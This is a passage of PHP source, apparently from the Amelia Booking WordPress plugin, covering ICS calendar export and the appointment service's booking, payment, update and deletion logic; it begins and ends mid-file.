@param int $id * @param array $recurring * @param bool $separateCalendars * @param string $token * * @return array * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function getIcsData($type, $id, $recurring, $separateCalendars, $token = null) { $type = $type ?: Entities::APPOINTMENT; /** @var LocationRepository $locationRepository */ $locationRepository = $this->container->get('domain.locations.repository'); /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get($type); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var PlaceholderService $placeholderService */ $placeholderService = $this->container->get("application.placeholder.{$type}.service"); /** @var Appointment|Event $reservation */ $reservation = $reservationService->getReservationByBookingId((int)$id); /** @var CustomerBooking $booking */ $booking = $reservation->getBookings()->getItem((int)$id); if ($token) { $bookingToken = $bookingRepository->getToken((int)$id); if (empty($bookingToken['token']) || $bookingToken['token'] !== $token) { throw new AccessDeniedException('You are not allowed to perform this action'); } } $icsDescriptionData = $settingsService->getCategorySettings('ics'); $description = !empty($icsDescriptionData['description'][$type]) ? $icsDescriptionData['description'][$type] : ''; $descriptionTr = ''; if (!empty($icsDescriptionData['description']['translations']) && $booking->getInfo()) { $descriptionTr = $helperService->getBookingTranslation( $helperService->getLocaleFromBooking($booking->getInfo()->getValue()), json_encode($icsDescriptionData['description']['translations']), $type ) ?: $description; } /** @var Service|Event $reservation */ $bookable = null; /** @var int $userId */ $userId = $type === Entities::APPOINTMENT ? $reservation->getProviderId()->getValue() : ($reservation->getOrganizerId() ? $reservation->getOrganizerId()->getValue() : null); /** @var Provider $provider */ $provider = $userId ? $userRepository->getById($userId) : null; $locationName = ''; switch ($type) { case Entities::APPOINTMENT: /** @var Service $bookable */ $bookable = $reservationService->getBookableEntity( [ 'serviceId' => $reservation->getServiceId()->getValue(), 'providerId' => $reservation->getProviderId()->getValue() ] ); /** @var Location $location */ $location = $reservation->getLocationId() ? $locationRepository->getById($reservation->getLocationId()->getValue()) : null; $locationName = $location ? $location->getName()->getValue() : ''; break; case Entities::EVENT: /** @var Event $bookable */ $bookable = $reservationService->getBookableEntity( [ 'eventId' => $reservation->getId()->getValue() ] ); /** @var Location $location */ $location = $bookable->getLocationId() ? $locationRepository->getById($bookable->getLocationId()->getValue()) : null; if ($location) { $locationName = $location->getName()->getValue(); } elseif ($bookable->getCustomLocation()) { $locationName = $bookable->getCustomLocation()->getValue(); } break; } $placeholdersData = $description || $descriptionTr ? $placeholderService->getPlaceholdersData( $reservation->toArray(), 0, 'email', null ) : []; $periodsData = [ [ 'name' => $bookable->getName()->getValue(), 'nameTr' => $helperService->getBookingTranslation( $booking->getInfo() ? $helperService->getLocaleFromBooking($booking->getInfo()->getValue()) : null, $bookable->getTranslations() ? $bookable->getTranslations()->getValue() : null, 'name' ) ?: $bookable->getName()->getValue(), 'location' => $locationName, 'periods' => $reservationService->getBookingPeriods($reservation, $booking, $bookable), 'description' => $description ? $placeholderService->applyPlaceholders( $description, $placeholdersData ) : '', 'descriptionTr' => $descriptionTr ? $placeholderService->applyPlaceholders( $descriptionTr, $placeholdersData ) : '', ] ]; $recurring = $recurring ?: []; foreach ($recurring as $recurringId) { /** @var Appointment $recurringReservation */ $recurringReservation = $reservationService->getReservationByBookingId((int)$recurringId); /** @var CustomerBooking $recurringBooking */ $recurringBooking = $recurringReservation->getBookings()->getItem( (int)$recurringId ); /** @var Service $bookableRecurring */ $bookableRecurring = $reservationService->getBookableEntity( [ 'serviceId' => $recurringReservation->getServiceId()->getValue(), 'providerId' => $recurringReservation->getProviderId()->getValue() ] ); /** @var Location $recurringLocation */ $recurringLocation = $recurringReservation->getLocationId() ? $locationRepository->getById($recurringReservation->getLocationId()->getValue()) : null; $locationName = $recurringLocation ? $recurringLocation->getName()->getValue() : ''; $recurringPlaceholdersData = $description || $descriptionTr ? $placeholderService->getPlaceholdersData( $recurringReservation->toArray(), 0, 'email', null ) : []; $periodsData[] = [ 'name' => $bookableRecurring->getName()->getValue(), 'nameTr' => $helperService->getBookingTranslation( $recurringBooking->getInfo() ? $helperService->getLocaleFromBooking($recurringBooking->getInfo()->getValue()) : null, $bookableRecurring->getTranslations() ? $bookableRecurring->getTranslations()->getValue() : null, 'name' ) ?: $bookableRecurring->getName()->getValue(), 'location' => $locationName, 'periods' => $reservationService->getBookingPeriods( $recurringReservation, $recurringBooking, $bookableRecurring ), 'description' => $description ? $placeholderService->applyPlaceholders( $description, $recurringPlaceholdersData ) : '', 'descriptionTr' => $descriptionTr ? $placeholderService->applyPlaceholders( $descriptionTr, $recurringPlaceholdersData ) : '', ]; } return [ 'original' => $this->getCalendar($periodsData, $separateCalendars, false, $provider), 'translated' => $this->getCalendar($periodsData, $separateCalendars, true, $provider), ]; } /** * @param array $periodsData * @param bool $separateCalendars * @param bool $isTranslation * @param Provider $provider * * @return array * @throws Exception */ public function getCalendar($periodsData, $separateCalendars, $isTranslation, $provider) { $vCalendars = $separateCalendars ? [] : [new Calendar(AMELIA_URL)]; foreach ($periodsData as $periodData) { foreach ($periodData['periods'] as $period) { $vEvent = new iCalEvent(); $vEvent ->setDtStart(new \DateTime($period['start'], new \DateTimeZone('UTC'))) ->setDtEnd(new \DateTime($period['end'], new \DateTimeZone('UTC'))) ->setSummary(!$isTranslation ? $periodData['name'] : $periodData['nameTr']); if ($provider) { $vOrganizer = new iCalOrganizer( 'MAILTO:' . $provider->getEmail()->getValue(), array('CN' => $provider->getFullName()) ); $vEvent->setOrganizer($vOrganizer); } if ($periodData['location']) { $vEvent->setLocation($periodData['location']); } if ($periodData['description'] || $periodData['descriptionTr']) { $vEvent->setDescription( !$isTranslation ? $periodData['description'] : $periodData['descriptionTr'] ); } if ($separateCalendars) { $vCalendar = new Calendar(AMELIA_URL); $vCalendar->addComponent($vEvent); $vCalendars[] = $vCalendar; } else { $vCalendars[0]->addComponent($vEvent); } } } $result = []; foreach ($vCalendars as $index => $vCalendar) { $result[] = [ 'name' => sizeof($vCalendars) === 1 ? 'cal.ics' : 'cal' . ($index + 1) . '.ics', 'type' => 'text/calendar; charset=utf-8', 'content' => $vCalendar->render() ]; } return $result; } } Services/Booking/AppointmentApplicationService.php 0000666 00000137044 15165412624 0016456 0 ustar 00 <?php namespace AmeliaBooking\Application\Services\Booking; use AmeliaBooking\Application\Services\Notification\NotificationService; use AmeliaBooking\Application\Services\Bookable\BookableApplicationService; use AmeliaBooking\Application\Services\Bookable\PackageApplicationService; use AmeliaBooking\Application\Services\CustomField\CustomFieldApplicationService; use AmeliaBooking\Application\Services\Payment\PaymentApplicationService; use AmeliaBooking\Application\Services\TimeSlot\TimeSlotService as ApplicationTimeSlotService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\PackageCustomerService; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Booking\Appointment\Appointment; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBooking; use AmeliaBooking\Domain\Entity\Booking\Appointment\CustomerBookingExtra; use AmeliaBooking\Domain\Entity\Entities; use AmeliaBooking\Domain\Entity\Payment\Payment; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Factory\Booking\Appointment\CustomerBookingFactory; use AmeliaBooking\Domain\Services\Booking\AppointmentDomainService; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Reservation\ReservationServiceInterface; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\BooleanValueObject; use AmeliaBooking\Domain\ValueObjects\PositiveDuration; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentStatus; use AmeliaBooking\Domain\ValueObjects\String\PaymentType; use AmeliaBooking\Domain\ValueObjects\String\Token; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\ValueObjects\Number\Integer\Id; use AmeliaBooking\Infrastructure\Common\Container; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\PackageCustomerServiceRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\AppointmentRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingExtraRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Domain\Factory\Booking\Appointment\AppointmentFactory; use AmeliaBooking\Domain\ValueObjects\DateTime\DateTimeValue; use AmeliaBooking\Domain\ValueObjects\Number\Float\Price; use AmeliaBooking\Infrastructure\Repository\Payment\PaymentRepository; use AmeliaBooking\Infrastructure\Repository\User\CustomerRepository; use AmeliaBooking\Infrastructure\Repository\User\ProviderRepository; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AppointmentApplicationService * * @package AmeliaBooking\Application\Services\Booking */ class AppointmentApplicationService { private $container; /** * AppointmentApplicationService constructor. * * @param Container $container * * @throws \InvalidArgumentException */ public function __construct(Container $container) { $this->container = $container; } /** * @param array $data * * @return array|null * @throws Exception */ public function convertTime(&$data) { if (!empty($data['utc'])) { $data['bookingStart'] = DateTimeService::getCustomDateTimeFromUtc( $data['bookingStart'] ); } elseif (!empty($data['timeZone'])) { $data['bookingStart'] = DateTimeService::getDateTimeObjectInTimeZone( $data['bookingStart'], $data['timeZone'] )->setTimezone(DateTimeService::getTimeZone())->format('Y-m-d H:i:s'); } } /** * @param array $data * @param Service $service * * @return Appointment * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws Exception */ public function build($data, $service) { /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); $data['bookingEnd'] = $data['bookingStart']; /** @var Appointment $appointment */ $appointment = AppointmentFactory::create($data); $includedExtrasIds = []; /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->getItems() as $customerBooking) { /** @var CustomerBookingExtra $customerBookingExtra */ foreach ($customerBooking->getExtras()->getItems() as $customerBookingExtra) { $extraId = $customerBookingExtra->getExtraId()->getValue(); /** @var Extra $extra */ $extra = $service->getExtras()->getItem($extraId); if (!in_array($extraId, $includedExtrasIds, true)) { $includedExtrasIds[] = $extraId; } $customerBookingExtra->setPrice(new Price($extra->getPrice()->getValue())); } $customerBooking->setPrice( new Price( $this->getBookingPriceForServiceDuration( $service, $customerBooking->getDuration() ? $customerBooking->getDuration()->getValue() : null ) ) ); } // Set appointment status based on booking statuses $bookingsCount = $appointmentDS->getBookingsStatusesCount($appointment); $appointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment($service, $bookingsCount); $appointment->setStatus(new BookingStatus($appointmentStatus)); $this->calculateAndSetAppointmentEnd($appointment, $service); return $appointment; } /** * @param Appointment $appointment * @param Service $service * @param array $paymentData * @param bool $isBackendBooking * * @return Appointment * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function add($appointment, $service, $paymentData, $isBackendBooking) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var CustomerBookingExtraRepository $customerBookingExtraRepository */ $customerBookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); $appointmentId = $appointmentRepository->add($appointment); $appointment->setId(new Id($appointmentId)); /** @var CustomerBooking $customerBooking */ foreach ($appointment->getBookings()->keys() as $customerBookingKey) { $customerBooking = $appointment->getBookings()->getItem($customerBookingKey); $customerBooking->setAppointmentId($appointment->getId()); $customerBooking->setAggregatedPrice(new BooleanValueObject($service->getAggregatedPrice()->getValue())); $customerBooking->setToken(new Token()); $customerBooking->setActionsCompleted(new BooleanValueObject($isBackendBooking)); $customerBooking->setCreated(new DateTimeValue(DateTimeService::getNowDateTimeObject())); $customerBookingId = $bookingRepository->add($customerBooking); /** @var CustomerBookingExtra $customerBookingExtra */ foreach ($customerBooking->getExtras()->keys() as $cbExtraKey) { $customerBookingExtra = $customerBooking->getExtras()->getItem($cbExtraKey); /** @var Extra $serviceExtra */ $serviceExtra = $service->getExtras()->getItem($customerBookingExtra->getExtraId()->getValue()); $customerBookingExtra->setAggregatedPrice( new BooleanValueObject( $reservationService->isExtraAggregatedPrice( $serviceExtra->getAggregatedPrice(), $service->getAggregatedPrice() ) ) ); $customerBookingExtra->setCustomerBookingId(new Id($customerBookingId)); $customerBookingExtraId = $customerBookingExtraRepository->add($customerBookingExtra); $customerBookingExtra->setId(new Id($customerBookingExtraId)); } $customerBooking->setId(new Id($customerBookingId)); if ($paymentData) { $paymentAmount = $reservationService->getPaymentAmount($customerBooking, $service); if ($customerBooking->getDeposit() && $customerBooking->getDeposit()->getValue() && $paymentData['gateway'] !== PaymentType::ON_SITE ) { $paymentDeposit = $reservationService->calculateDepositAmount( $paymentAmount, $service, $customerBooking->getPersons()->getValue() ); $paymentData['deposit'] = $paymentAmount !== $paymentDeposit; $paymentAmount = $paymentDeposit; } /** @var Payment $payment */ $payment = $reservationService->addPayment( !$customerBooking->getPackageCustomerService() ? $customerBooking->getId()->getValue() : null, $customerBooking->getPackageCustomerService() ? $customerBooking->getPackageCustomerService()->getPackageCustomer()->getId()->getValue() : null, $paymentData, $paymentAmount, $appointment->getBookingStart()->getValue(), Entities::APPOINTMENT ); /** @var Collection $payments */ $payments = new Collection(); $payments->addItem($payment); $customerBooking->setPayments($payments); } } return $appointment; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Appointment $oldAppointment * @param Appointment $newAppointment * @param Collection $removedBookings * @param Service $service * @param array $paymentData * * @return bool * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws ContainerException */ public function update($oldAppointment, $newAppointment, $removedBookings, $service, $paymentData) { /** @var AppointmentRepository $appointmentRepo */ $appointmentRepo = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var CustomerBookingExtraRepository $customerBookingExtraRepository */ $customerBookingExtraRepository = $this->container->get('domain.booking.customerBookingExtra.repository'); /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); /** @var PaymentApplicationService $paymentAS */ $paymentAS = $this->container->get('application.payment.service'); $appointmentRepo->update($oldAppointment->getId()->getValue(), $newAppointment); /** @var CustomerBooking $newBooking */ foreach ($newAppointment->getBookings()->getItems() as $newBooking) { // Update Booking if ID exist if ($newBooking->getId() && $newBooking->getId()->getValue()) { $bookingRepository->update($newBooking->getId()->getValue(), $newBooking); if ($oldAppointment->getServiceId()->getValue() !== $newAppointment->getServiceId()->getValue()) { $bookingRepository->updatePrice($newBooking->getId()->getValue(), $newBooking); } if ($oldAppointment->getBookings()->keyExists($newBooking->getId()->getValue())) { /** @var CustomerBooking $oldBooking */ $oldBooking = $oldAppointment->getBookings()->getItem($newBooking->getId()->getValue()); $oldDuration = $oldBooking->getDuration() ? $oldBooking->getDuration()->getValue() : $service->getDuration()->getValue(); if ($newBooking->getDuration() && $newBooking->getDuration()->getValue() !== $oldDuration) { $bookingRepository->updatePrice($newBooking->getId()->getValue(), $newBooking); } } } // Add Booking if ID does not exist if ($newBooking->getId() === null || ($newBooking->getId()->getValue() === 0)) { $newBooking->setAppointmentId($newAppointment->getId()); $newBooking->setToken(new Token()); $newBooking->setAggregatedPrice(new BooleanValueObject($service->getAggregatedPrice()->getValue())); $newBooking->setActionsCompleted(new BooleanValueObject(!empty($paymentData['isBackendBooking']))); $newBookingId = $bookingRepository->add($newBooking); $newBooking->setId(new Id($newBookingId)); if ($paymentData) { $paymentAmount = $reservationService->getPaymentAmount($newBooking, $service); if ($newBooking->getDeposit() && $newBooking->getDeposit()->getValue() && $paymentData['gateway'] !== PaymentType::ON_SITE ) { $paymentDeposit = $reservationService->calculateDepositAmount( $paymentAmount, $service, $newBooking->getPersons()->getValue() ); $paymentData['deposit'] = $paymentAmount !== $paymentDeposit; $paymentAmount = $paymentDeposit; } /** @var Payment $payment */ $payment = $reservationService->addPayment( !$newBooking->getPackageCustomerService() ? $newBooking->getId()->getValue() : null, $newBooking->getPackageCustomerService() ? $newBooking->getPackageCustomerService()->getPackageCustomer()->getId()->getValue() : null, $paymentData, $paymentAmount, $newAppointment->getBookingStart()->getValue(), Entities::APPOINTMENT ); /** @var Collection $payments */ $payments = new Collection(); $payments->addItem($payment); $newBooking->setPayments($payments); } } $newExtrasIds = []; /** @var CustomerBookingExtra $newExtra */ foreach ($newBooking->getExtras()->getItems() as $newExtra) { // Update Extra if ID exist /** @var CustomerBookingExtra $newExtra */ if ($newExtra->getId() && $newExtra->getId()->getValue()) { $customerBookingExtraRepository->update($newExtra->getId()->getValue(), $newExtra); } // Add Extra if ID does not exist if ($newExtra->getId() === null || ($newExtra->getId()->getValue() === 0)) { /** @var Extra $serviceExtra */ $serviceExtra = $service->getExtras()->getItem($newExtra->getExtraId()->getValue()); $newExtra->setAggregatedPrice( new BooleanValueObject( $reservationService->isExtraAggregatedPrice( $serviceExtra->getAggregatedPrice(), $service->getAggregatedPrice() ) ) ); $newExtra->setCustomerBookingId($newBooking->getId()); $newExtraId = $customerBookingExtraRepository->add($newExtra); $newExtra->setId(new Id($newExtraId)); } $newExtrasIds[] = $newExtra->getId()->getValue(); } if ($oldAppointment->getBookings()->keyExists($newBooking->getId()->getValue())) { /** @var CustomerBooking $oldBooking */ $oldBooking = $oldAppointment->getBookings()->getItem($newBooking->getId()->getValue()); /** @var CustomerBookingExtra $oldExtra */ foreach ($oldBooking->getExtras()->getItems() as $oldExtra) { if (!in_array($oldExtra->getId()->getValue(), $newExtrasIds)) { $customerBookingExtraRepository->delete($oldExtra->getId()->getValue()); } } } } /** @var CustomerBooking $removedBooking */ foreach ($removedBookings->getItems() as $removedBooking) { /** @var CustomerBookingExtra $removedExtra */ foreach ($removedBooking->getExtras()->getItems() as $removedExtra) { $customerBookingExtraRepository->delete($removedExtra->getId()->getValue()); } /** @var Collection $removedPayments */ $removedPayments = $paymentRepository->getByEntityId( $removedBooking->getId()->getValue(), 'customerBookingId' ); /** @var Payment $payment */ foreach ($removedPayments->getItems() as $payment) { if (!$paymentAS->delete($payment)) { return false; } } $bookingRepository->delete($removedBooking->getId()->getValue()); } return true; } /** * @param Appointment $appointment * * @return boolean * * @throws QueryExecutionException * @throws InvalidArgumentException */ public function delete($appointment) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if (!$bookingApplicationService->delete($booking)) { return false; } } if (!$appointmentRepository->delete($appointment->getId()->getValue())) { return false; } return true; } /** * @param Appointment $appointment * @param Appointment $oldAppointment * * @return bool */ public function isAppointmentStatusChanged($appointment, $oldAppointment) { return $appointment->getStatus()->getValue() !== $oldAppointment->getStatus()->getValue(); } /** * @param Appointment $appointment * @param Appointment $oldAppointment * * @return bool */ public function isAppointmentRescheduled($appointment, $oldAppointment) { $start = $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s'); $end = $appointment->getBookingStart()->getValue()->format('Y-m-d H:i:s'); $oldStart = $oldAppointment->getBookingStart()->getValue()->format('Y-m-d H:i:s'); $oldEnd = $oldAppointment->getBookingStart()->getValue()->format('Y-m-d H:i:s'); return $start !== $oldStart || $end !== $oldEnd; } /** * Return required time for the appointment in seconds * and extras. * * @param Appointment $appointment * @param Service $service * * @return mixed */ public function getAppointmentLengthTime($appointment, $service) { $requiredTime = 0; /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { $bookingDuration = $this->getBookingLengthTime($booking, $service); if ($bookingDuration > $requiredTime && ( $booking->getStatus()->getValue() === BookingStatus::APPROVED || $booking->getStatus()->getValue() === BookingStatus::PENDING ) ) { $requiredTime = $bookingDuration; } } return $requiredTime; } /** * Return required time for the booking in seconds * and extras. * * @param CustomerBooking $booking * @param Service $service * * @return mixed */ public function getBookingLengthTime($booking, $service) { $duration = $booking->getDuration() && $booking->getDuration()->getValue() ? $booking->getDuration()->getValue() : $service->getDuration()->getValue(); /** @var CustomerBookingExtra $bookingExtra */ foreach ($booking->getExtras()->getItems() as $bookingExtra) { /** @var Extra $extra */ foreach ($service->getExtras()->getItems() as $extra) { if ($extra->getId()->getValue() === $bookingExtra->getExtraId()->getValue()) { $extraDuration = $extra->getDuration() ? $extra->getDuration()->getValue() : 0; $duration += $extraDuration * $bookingExtra->getQuantity()->getValue(); } } } return $duration; } /** * @param Appointment $appointment * @param boolean $isCustomer * * @return boolean * @throws ContainerValueNotFoundException * @throws InvalidArgumentException * @throws QueryExecutionException * @throws Exception * @throws ContainerException */ public function canBeBooked($appointment, $isCustomer) { /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); /** @var ApplicationTimeSlotService $applicationTimeSlotService */ $applicationTimeSlotService = $this->container->get('application.timeSlot.service'); $selectedExtras = []; foreach ($appointment->getBookings()->keys() as $bookingKey) { /** @var CustomerBooking $booking */ $booking = $appointment->getBookings()->getItem($bookingKey); foreach ($booking->getExtras()->keys() as $extraKey) { $selectedExtras[] = [ 'id' => $booking->getExtras()->getItem($extraKey)->getExtraId()->getValue(), 'quantity' => $booking->getExtras()->getItem($extraKey)->getQuantity()->getValue(), ]; } } /** @var Service $service */ $service = $serviceRepository->getByIdWithExtras($appointment->getServiceId()->getValue()); $maximumDuration = $this->getMaximumBookingDuration($appointment, $service); $service->setDuration(new PositiveDuration($maximumDuration)); return $applicationTimeSlotService->isSlotFree( $service, $appointment->getBookingStart()->getValue(), $appointment->getProviderId()->getValue(), $appointment->getLocationId() ? $appointment->getLocationId()->getValue() : null, $selectedExtras, $appointment->getId() ? $appointment->getId()->getValue() : null, null, $isCustomer ); } /** * @param int $appointmentId * * @return void * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws Exception */ public function manageDeletionParentRecurringAppointment($appointmentId) { /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Collection $recurringAppointments */ $recurringAppointments = $appointmentRepository->getFiltered(['parentId' => $appointmentId]); $isFirstRecurringAppointment = true; $newParentId = null; /** @var Appointment $recurringAppointment */ foreach ($recurringAppointments->getItems() as $key => $recurringAppointment) { if ($isFirstRecurringAppointment) { $newParentId = $recurringAppointment->getId()->getValue(); } $appointmentRepository->updateFieldById( $recurringAppointment->getId()->getValue(), $isFirstRecurringAppointment ? null : $newParentId, 'parentId' ); $isFirstRecurringAppointment = false; } } /** * @param string $searchString * * @return array * @throws ContainerValueNotFoundException * @throws QueryExecutionException * @throws Exception */ public function getAppointmentEntitiesIdsBySearchString($searchString) { /** @var CustomerRepository $customerRepository */ $customerRepository = $this->container->get('domain.users.customers.repository'); /** @var ProviderRepository $providerRepository */ $providerRepository = $this->container->get('domain.users.providers.repository'); /** @var ServiceRepository $serviceRepository */ $serviceRepository = $this->container->get('domain.bookable.service.repository'); $customersArray = $customerRepository->getFiltered( [ 'ignoredBookings' => true, 'search' => $searchString, ], null ); $result = [ 'customers' => array_column($customersArray, 'id'), 'providers' => [], 'services' => [], ]; /** @var Collection $providers */ $providers = $providerRepository->getFiltered(['search' => $searchString], 0); /** @var Collection $services */ $services = $serviceRepository->getByCriteria(['search' => $searchString]); /** @var Provider $provider */ foreach ($providers->getItems() as $provider) { $result['providers'][] = $provider->getId()->getValue(); } /** @var Service $service */ foreach ($services->getItems() as $service) { $result['services'][] = $service->getId()->getValue(); } return $result; } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param Service $service * @param Appointment $appointment * @param Payment $payment * @param CustomerBooking $booking * * @return bool * * @throws InvalidArgumentException * @throws QueryExecutionException */ public function isAppointmentStatusChangedWithBooking($service, $appointment, $payment, $booking) { /** @var PaymentRepository $paymentRepository */ $paymentRepository = $this->container->get('domain.payment.repository'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); /** @var AppointmentDomainService $appointmentDS */ $appointmentDS = $this->container->get('domain.booking.appointment.service'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $defaultBookingStatus = $settingsService ->getEntitySettings($service->getSettings()) ->getGeneralSettings() ->getDefaultAppointmentStatus(); if ($payment) { /** @var ReservationServiceInterface $reservationService */ $reservationService = $this->container->get('application.reservation.service')->get(Entities::APPOINTMENT); $paymentRepository->updateFieldById( $payment->getId()->getValue(), $reservationService->getPaymentAmount($booking, $service) > $payment->getAmount()->getValue() ? PaymentStatus::PARTIALLY_PAID : PaymentStatus::PAID, 'status' ); } if ($defaultBookingStatus === BookingStatus::APPROVED && $booking->getStatus()->getValue() === BookingStatus::PENDING ) { $oldBookingsCount = $appointmentDS->getBookingsStatusesCount($appointment); $oldAppointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $service, $oldBookingsCount ); $booking->setChangedStatus(new BooleanValueObject(true)); $booking->setStatus(new BookingStatus(BookingStatus::APPROVED)); $newBookingsCount = $appointmentDS->getBookingsStatusesCount($appointment); $newAppointmentStatus = $appointmentDS->getAppointmentStatusWhenEditAppointment( $service, $newBookingsCount ); $appointmentRepository->updateFieldById( $appointment->getId()->getValue(), $newAppointmentStatus, 'status' ); $bookingRepository->updateFieldById( $booking->getId()->getValue(), $newAppointmentStatus, 'status' ); $appointment->setStatus(new BookingStatus($newAppointmentStatus)); return $oldAppointmentStatus === BookingStatus::PENDING && $newAppointmentStatus === BookingStatus::APPROVED; } return false; } /** * @param Appointment $appointment * @param CustomerBooking $removedBooking * * @return array * * @throws ContainerException * @throws InvalidArgumentException * @throws NotFoundException * @throws QueryExecutionException */ public function removeBookingFromGroupAppointment($appointment, $removedBooking) { /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); /** @var AppointmentApplicationService $appointmentApplicationService */ $appointmentApplicationService = $this->container->get('application.booking.appointment.service'); /** @var BookableApplicationService $bookableApplicationService */ $bookableApplicationService = $this->container->get('application.bookable.service'); /** @var AppointmentDomainService $appointmentDomainService */ $appointmentDomainService = $this->container->get('domain.booking.appointment.service'); /** @var CustomFieldApplicationService $customFieldService */ $customFieldService = $this->container->get('application.customField.service'); /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); /** @var Appointment $originalAppointment */ $originalAppointment = AppointmentFactory::create($appointment->toArray()); /** @var Service $service */ $service = $bookableApplicationService->getAppointmentService( $appointment->getServiceId()->getValue(), $appointment->getProviderId()->getValue() ); $appointment->getBookings()->deleteItem($removedBooking->getId()->getValue()); $appointmentStatus = $appointmentDomainService->getAppointmentStatusWhenEditAppointment( $service, $appointmentDomainService->getBookingsStatusesCount($appointment) ); $appointment->setStatus(new BookingStatus($appointmentStatus)); $appointmentStatusChanged = $appointmentApplicationService->isAppointmentStatusChanged( $appointment, $originalAppointment ); if ($appointmentStatusChanged) { $appointmentRepository->updateFieldById( $appointment->getId()->getValue(), $appointment->getStatus()->getValue(), 'status' ); /** @var CustomerBooking $booking */ foreach ($appointment->getBookings()->getItems() as $booking) { if (( $booking->getStatus()->getValue() === BookingStatus::APPROVED && $appointment->getStatus()->getValue() === BookingStatus::PENDING ) ) { $booking->setChangedStatus(new BooleanValueObject(true)); } } } $appointment->setRescheduled(new BooleanValueObject(false)); $appointmentArray = $appointment->toArray(); $bookingsWithChangedStatus = $bookingApplicationService->getBookingsWithChangedStatus( $appointmentArray, $originalAppointment->toArray() ); /** @var Collection $removedBookings */ $removedBookings = new Collection(); $removedBookings->addItem( CustomerBookingFactory::create($removedBooking->toArray()), $removedBooking->getId()->getValue() ); $customFieldService->deleteUploadedFilesForDeletedBookings( $appointment->getBookings(), $removedBookings ); return [ Entities::APPOINTMENT => $appointmentArray, 'bookingsWithChangedStatus' => $bookingsWithChangedStatus, 'bookingDeleted' => true, 'appointmentDeleted' => false, 'appointmentStatusChanged' => $appointmentStatusChanged, 'appointmentRescheduled' => false, 'appointmentEmployeeChanged' => null, 'appointmentZoomUserChanged' => false, 'appointmentZoomUsersLicenced' => false, ]; } /** * @param Appointment $appointment * @param CustomerBooking $removedBooking * * @return array * * @throws ContainerException * @throws InvalidArgumentException */ public function removeBookingFromNonGroupAppointment($appointment, $removedBooking) { /** @var BookingApplicationService $bookingApplicationService */ $bookingApplicationService = $this->container->get('application.booking.booking.service'); /** 